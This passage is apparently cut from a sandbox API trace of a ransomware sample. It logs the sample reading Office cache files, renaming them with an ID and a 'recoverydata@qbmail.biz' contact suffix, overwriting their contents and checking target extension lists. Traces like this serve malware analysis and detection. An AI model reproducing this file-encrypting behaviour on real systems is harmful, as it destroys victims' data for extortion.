lpString2=".msi") returned -1 [0099.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0099.499] lstrlenW (lpString=".jpg") returned 4 [0099.499] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0099.499] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0099.499] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0099.499] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0099.499] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=36233052) returned 1 [0099.499] CloseHandle (hObject=0x214) returned 1 [0099.499] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0099.499] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0099.499] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0099.500] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0099.500] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0x0) returned 1 [0099.500] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0099.500] ReadFile (in: hFile=0x214, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0099.517] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0099.517] ReadFile (in: hFile=0x214, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0099.656] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0099.656] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0099.656] ReadFile (in: hFile=0x214, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0099.689] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.689] WriteFile (in: hFile=0x214, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x304fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x304fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0099.817] SetEndOfFile (hFile=0x214) returned 1 [0099.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3fea0b0 [0099.930] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0099.930] WriteFile (in: hFile=0x214, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0099.931] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0099.931] WriteFile (in: hFile=0x214, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0099.932] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0099.932] WriteFile (in: hFile=0x214, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0099.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3fea0b0 | out: hHeap=0x5b0000) returned 1 [0099.935] CloseHandle (hObject=0x214) returned 1 [0099.935] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0099.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0099.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0099.935] lstrlenW (lpString=".doc") returned 4 [0099.935] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0099.936] lstrlenW (lpString=".docx") returned 5 [0099.936] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0099.936] lstrlenW (lpString=".pdf") returned 4 [0099.936] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0099.936] lstrlenW (lpString=".xls") returned 4 [0099.936] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0099.936] lstrlenW (lpString=".xlsx") returned 5 [0099.936] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0099.936] lstrlenW (lpString=".ppt") returned 4 [0099.936] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0099.947] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0099.947] lstrlenW (lpString=".zip") returned 4 [0099.947] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0099.947] lstrlenW (lpString=".rar") returned 4 [0099.947] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0099.947] lstrlenW (lpString=".bz2") returned 4 [0099.947] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0099.947] lstrlenW (lpString=".7z") returned 3 [0099.947] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0099.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0099.948] lstrlenW (lpString=".dbf") returned 4 [0099.948] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0099.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0099.948] lstrlenW (lpString=".1cd") returned 4 [0099.948] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0099.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0099.948] lstrlenW (lpString=".jpg") returned 4 [0099.948] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0099.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0099.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0099.948] lstrlenW (lpString=".doc") returned 4 [0099.948] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0099.948] lstrlenW (lpString=".docx") returned 5 [0099.949] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0099.949] lstrlenW (lpString=".pdf") returned 4 [0099.949] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0099.949] lstrlenW (lpString=".xls") returned 4 [0099.949] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0099.949] lstrlenW (lpString=".xlsx") returned 5 [0099.949] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0099.949] lstrlenW (lpString=".ppt") returned 4 [0099.949] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0099.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0099.949] lstrlenW (lpString=".zip") returned 4 [0099.949] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0099.949] lstrlenW (lpString=".rar") returned 4 [0099.949] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0099.949] lstrlenW (lpString=".bz2") returned 4 [0099.949] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0099.950] lstrlenW (lpString=".7z") returned 3 [0099.950] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0099.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0099.950] lstrlenW (lpString=".dbf") returned 4 [0099.950] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0099.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0099.950] lstrlenW (lpString=".1cd") returned 4 [0099.950] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0099.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0099.950] lstrlenW (lpString=".jpg") returned 4 [0099.950] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0099.950] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0099.950] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0099.951] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0099.953] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=27532288) returned 1 [0099.953] CloseHandle (hObject=0x214) returned 1 [0099.953] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0099.953] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0099.953] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0099.954] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0099.954] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0x0) returned 1 [0099.955] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0099.955] ReadFile (in: hFile=0x214, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0100.115] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0100.116] ReadFile (in: hFile=0x214, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0100.211] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0100.211] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0100.211] ReadFile (in: hFile=0x214, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0100.261] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.261] WriteFile (in: hFile=0x214, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x304fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x304fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0100.511] SetEndOfFile (hFile=0x214) returned 1 [0101.031] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3fea0b0 [0101.037] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0101.037] WriteFile (in: hFile=0x214, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0101.039] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0101.039] WriteFile (in: hFile=0x214, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0101.044] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0101.044] WriteFile (in: hFile=0x214, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0101.048] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3fea0b0 | out: hHeap=0x5b0000) returned 1 [0101.048] CloseHandle (hObject=0x214) returned 1 [0101.048] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0101.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0101.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0101.050] lstrlenW (lpString=".doc") returned 4 [0101.050] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0101.050] lstrlenW (lpString=".docx") returned 5 [0101.050] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0101.050] lstrlenW (lpString=".pdf") returned 4 [0101.050] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0101.050] lstrlenW (lpString=".xls") returned 4 [0101.050] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0101.050] lstrlenW (lpString=".xlsx") returned 5 [0101.050] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0101.050] lstrlenW (lpString=".ppt") returned 4 [0101.050] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0101.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0101.050] lstrlenW (lpString=".zip") returned 4 [0101.051] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0101.051] lstrlenW (lpString=".rar") returned 4 [0101.051] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0101.051] lstrlenW (lpString=".bz2") returned 4 [0101.051] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0101.051] lstrlenW (lpString=".7z") returned 3 [0101.051] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0101.051] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0101.051] lstrlenW (lpString=".dbf") returned 4 [0101.051] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0101.051] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0101.051] lstrlenW (lpString=".1cd") returned 4 [0101.052] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0101.052] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0101.052] lstrlenW (lpString=".jpg") returned 4 [0101.052] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0101.052] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0101.052] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0101.052] lstrlenW (lpString=".doc") returned 4 [0101.052] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0101.052] lstrlenW (lpString=".docx") returned 5 [0101.052] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0101.052] lstrlenW (lpString=".pdf") returned 4 [0101.052] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0101.052] lstrlenW (lpString=".xls") returned 4 [0101.053] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0101.053] lstrlenW (lpString=".xlsx") returned 5 [0101.053] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0101.053] lstrlenW (lpString=".ppt") returned 4 [0101.053] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0101.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0101.053] lstrlenW (lpString=".zip") returned 4 [0101.053] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0101.053] lstrlenW (lpString=".rar") returned 4 [0101.053] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0101.053] lstrlenW (lpString=".bz2") returned 4 [0101.053] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0101.054] lstrlenW (lpString=".7z") returned 3 [0101.054] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0101.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0101.054] lstrlenW (lpString=".dbf") returned 4 [0101.054] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0101.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0101.054] lstrlenW (lpString=".1cd") returned 4 [0101.054] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0101.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0101.054] lstrlenW (lpString=".jpg") returned 4 [0101.054] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0101.055] lstrcmpiW (lpString1=".exe", lpString2=".data") returned 1 [0101.055] lstrlenW (lpString="setup.exe") returned 9 [0101.055] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 15 os_tid = 0x7cc [0073.992] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x38b0060 [0073.993] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x38c0068 [0073.993] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602470 [0073.993] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x6028c0 [0073.993] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602488 [0073.993] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x3ba0020 [0073.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6024a0 [0073.994] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6024a0, Size=0x20) returned 0x609700 [0073.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6024a0 [0073.994] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6024a0, Size=0x20) returned 0x6096d8 [0073.994] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0073.994] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0073.994] Wow64DisableWow64FsRedirection (in: OldValue=0x318ff58 | out: OldValue=0x318ff58*=0x0) returned 1 [0073.994] lstrlenW (lpString="kernel32.dll") returned 12 [0073.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x609700 | out: hHeap=0x5b0000) returned 1 [0073.994] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0073.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6096d8 | out: hHeap=0x5b0000) returned 1 [0073.995] Sleep (dwMilliseconds=0x64) [0074.268] Sleep (dwMilliseconds=0x64) [0075.031] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0075.031] lstrlenW (lpString="Setup.xml") returned 9 [0075.031] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0075.491] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=2296) returned 1 [0075.491] CloseHandle (hObject=0x194) returned 1 [0075.491] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0075.491] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.491] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0075.491] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.492] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.492] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 